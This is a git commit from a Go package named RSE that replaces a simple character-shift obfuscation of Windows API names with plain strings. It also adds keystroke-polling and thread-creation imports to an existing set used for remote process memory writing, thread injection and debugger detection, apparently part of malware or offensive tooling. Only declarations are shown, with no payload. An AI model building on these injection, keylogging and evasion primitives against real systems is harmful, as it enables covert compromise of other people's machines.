<commit_before>package RSE


import "syscall"


const MEM_COMMIT  = 0x1000
const MEM_RESERVE = 0x2000
const PAGE_EXECUTE_READWRITE = 0x40
const PROCESS_CREATE_THREAD = 0x0002
const PROCESS_QUERY_INFORMATION = 0x0400
const PROCESS_VM_OPERATION = 0x0008
const PROCESS_VM_WRITE = 0x0020
const PROCESS_VM_READ = 0x0010


func DeObfuscate(Data string) (string){
	var ClearText string
	for i := 0; i < len(Data); i++ {
		ClearText += string(int(Data[i])-1)
	}
	return ClearText
}

var	K32 = syscall.MustLoadDLL(DeObfuscate("lfsofm43/emm"))//kernel32.dll
var USER32 = syscall.MustLoadDLL(DeObfuscate("vtfs43/emm"))//user32.dll
var VirtualAllocEx = K32.MustFindProc(DeObfuscate("WjsuvbmBmmpdF"))//VirtualAllocEx
var CreateRemoteThread = K32.MustFindProc(DeObfuscate("DsfbufSfnpufUisfbe"))//CreateRemoteThread
var WriteProcessMemory = K32.MustFindProc(DeObfuscate("XsjufQspdfttNfnpsz"))//WriteProcessMemory
var OpenProcess = K32.MustFindProc(DeObfuscate("PqfoQspdftt"))//OpenProcess
var IsDebuggerPresent = K32.MustFindProc(DeObfuscate("JtEfcvhhfsQsftfou"))<commit_msg>Removed obfuscation from RSE<commit_after>package RSE


import "syscall"


const MEM_COMMIT  = 0x1000
const MEM_RESERVE = 0x2000
const PAGE_EXECUTE_READWRITE = 0x40
const PROCESS_CREATE_THREAD = 0x0002
const PROCESS_QUERY_INFORMATION = 0x0400
const PROCESS_VM_OPERATION = 0x0008
const PROCESS_VM_WRITE = 0x0020
const PROCESS_VM_READ = 0x0010


var	K32 = syscall.MustLoadDLL("kernel32.dll")//kernel32.dll
var USER32 = syscall.MustLoadDLL("user32.dll")//user32.dll
var GetAsyncKeyState = USER32.MustFindProc("GetAsyncKeyState")
var VirtualAlloc = K32.MustFindProc("VirtualAlloc")
var CreateThread = K32.MustFindProc("CreateThread")
var VirtualAllocEx = K32.MustFindProc("VirtualAllocEx")
var CreateRemoteThread = K32.MustFindProc("CreateRemoteThread")
var WriteProcessMemory = K32.MustFindProc("WriteProcessMemory")
var OpenProcess = K32.MustFindProc("OpenProcess")
var IsDebuggerPresent = K32.MustFindProc("IsDebuggerPresent")
{'fraction_non_alphanumeric': 0.09672544080604534, 'fraction_numerical': 0.06448362720403022, 'mean_word_length': 7.7105263157894735, 'pattern_counts': {'":': 0, '<': 4, '<?xml version=': 0, '>': 3, 'https://': 0, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 0, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '6766111', 'n_tokens_mistral': 831, 'n_tokens_neox': 714, 'n_words': 126}